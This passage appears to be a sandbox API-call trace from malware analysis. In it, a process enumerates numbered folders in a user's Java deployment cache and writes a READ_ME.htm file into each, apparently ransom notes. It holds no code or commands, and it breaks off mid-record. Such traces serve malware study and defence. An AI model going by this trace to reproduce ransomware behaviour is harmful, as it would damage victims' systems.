GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20", lpFilePart=0x0) returned 0x44 [0147.574] SetErrorMode (uMode=0x1) returned 0x0 [0147.574] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\20\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.574] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.575] SetErrorMode (uMode=0x0) returned 0x1 [0147.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.575] SetErrorMode (uMode=0x1) returned 0x0 [0147.575] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\20\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.576] SetErrorMode (uMode=0x0) returned 0x1 [0147.576] GetFileType (hFile=0x1d0) returned 0x1 [0147.576] WriteFile (in: hFile=0x1d0, lpBuffer=0x2980ea0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2980ea0*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21", lpFilePart=0x0) returned 0x44 [0147.578] SetErrorMode (uMode=0x1) returned 0x0 [0147.578] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\21\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.578] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.578] SetErrorMode (uMode=0x0) returned 0x1 [0147.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21", lpFilePart=0x0) returned 0x44 [0147.579] SetErrorMode (uMode=0x1) returned 0x0 [0147.579] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\21\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.579] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.579] SetErrorMode (uMode=0x0) returned 0x1 [0147.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.579] SetErrorMode (uMode=0x1) returned 0x0 [0147.579] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\21\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\21\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.581] SetErrorMode (uMode=0x0) returned 0x1 [0147.581] GetFileType (hFile=0x1d0) returned 0x1 [0147.581] WriteFile (in: hFile=0x1d0, lpBuffer=0x2986d98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2986d98*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22", lpFilePart=0x0) returned 0x44 [0147.583] SetErrorMode (uMode=0x1) returned 0x0 [0147.583] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\22\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.584] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.584] SetErrorMode (uMode=0x0) returned 0x1 [0147.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22", lpFilePart=0x0) returned 0x44 [0147.584] SetErrorMode (uMode=0x1) returned 0x0 [0147.584] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\22\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.584] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.584] SetErrorMode (uMode=0x0) returned 0x1 [0147.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.585] SetErrorMode (uMode=0x1) returned 0x0 [0147.585] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\22\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\22\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.585] SetErrorMode (uMode=0x0) returned 0x1 [0147.585] GetFileType (hFile=0x1d0) returned 0x1 [0147.585] WriteFile (in: hFile=0x1d0, lpBuffer=0x298cc90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x298cc90*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23", lpFilePart=0x0) returned 0x44 [0147.587] SetErrorMode (uMode=0x1) returned 0x0 [0147.587] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\23\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.588] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.588] SetErrorMode (uMode=0x0) returned 0x1 [0147.589] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23", lpFilePart=0x0) returned 0x44 [0147.589] SetErrorMode (uMode=0x1) returned 0x0 [0147.589] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\23\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.589] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.589] SetErrorMode (uMode=0x0) returned 0x1 [0147.589] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.589] SetErrorMode (uMode=0x1) returned 0x0 [0147.590] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\23\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\23\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.590] SetErrorMode (uMode=0x0) returned 0x1 [0147.590] GetFileType (hFile=0x1d0) returned 0x1 [0147.591] WriteFile (in: hFile=0x1d0, lpBuffer=0x2992b88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2992b88*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24", lpFilePart=0x0) returned 0x44 [0147.593] SetErrorMode (uMode=0x1) returned 0x0 [0147.593] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\24\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.594] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.594] SetErrorMode (uMode=0x0) returned 0x1 [0147.595] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24", lpFilePart=0x0) returned 0x44 [0147.595] SetErrorMode (uMode=0x1) returned 0x0 [0147.595] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\24\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.595] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.595] SetErrorMode (uMode=0x0) returned 0x1 [0147.596] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.596] SetErrorMode (uMode=0x1) returned 0x0 [0147.596] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\24\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\24\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.596] SetErrorMode (uMode=0x0) returned 0x1 [0147.596] GetFileType (hFile=0x1d0) returned 0x1 [0147.597] WriteFile (in: hFile=0x1d0, lpBuffer=0x2998a80*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2998a80*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25", lpFilePart=0x0) returned 0x44 [0147.598] SetErrorMode (uMode=0x1) returned 0x0 [0147.598] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\25\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.599] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.599] SetErrorMode (uMode=0x0) returned 0x1 [0147.599] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25", lpFilePart=0x0) returned 0x44 [0147.599] SetErrorMode (uMode=0x1) returned 0x0 [0147.599] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\25\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.599] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.599] SetErrorMode (uMode=0x0) returned 0x1 [0147.600] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.600] SetErrorMode (uMode=0x1) returned 0x0 [0147.600] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\25\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\25\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.602] SetErrorMode (uMode=0x0) returned 0x1 [0147.602] GetFileType (hFile=0x1d0) returned 0x1 [0147.602] WriteFile (in: hFile=0x1d0, lpBuffer=0x299e978*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x299e978*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26", lpFilePart=0x0) returned 0x44 [0147.604] SetErrorMode (uMode=0x1) returned 0x0 [0147.604] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\26\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.604] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.604] SetErrorMode (uMode=0x0) returned 0x1 [0147.605] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26", lpFilePart=0x0) returned 0x44 [0147.605] SetErrorMode (uMode=0x1) returned 0x0 [0147.605] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\26\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.605] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.605] SetErrorMode (uMode=0x0) returned 0x1 [0147.605] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.605] SetErrorMode (uMode=0x1) returned 0x0 [0147.605] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\26\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\26\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.606] SetErrorMode (uMode=0x0) returned 0x1 [0147.606] GetFileType (hFile=0x1d0) returned 0x1 [0147.606] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a4870*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29a4870*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.608] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27", lpFilePart=0x0) returned 0x44 [0147.608] SetErrorMode (uMode=0x1) returned 0x0 [0147.608] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\27\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, 